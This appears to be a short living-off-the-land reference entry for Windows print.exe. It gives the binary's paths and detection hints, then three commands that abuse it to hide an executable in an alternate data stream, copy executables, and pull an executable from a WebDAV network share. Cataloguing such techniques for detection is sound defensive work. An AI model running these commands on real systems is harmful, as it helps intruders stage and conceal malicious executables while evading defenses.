Used by Windows to send files to the printer

Paths:

C:\Windows\System32\print.exe
C:\Windows\SysWOW64\print.exe

Detection: Print.exe getting files from internet Print.exe creating executable files on disk

Alternate data streams

Copy file.exe into the Alternate Data Stream (ADS) of file.txt.

print /D:C:\ADS\File.txt:file.exe C:\ADS\File.exe

Copy

Copy FileToCopy.exe to the target C:\ADS\CopyOfFile.exe

print /D:C:\ADS\CopyOfFile.exe C:\ADS\FileToCopy.exe

Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.

print /D:C:\OutFolder\outfile.exe \\WebDavServer\Folder\File.exe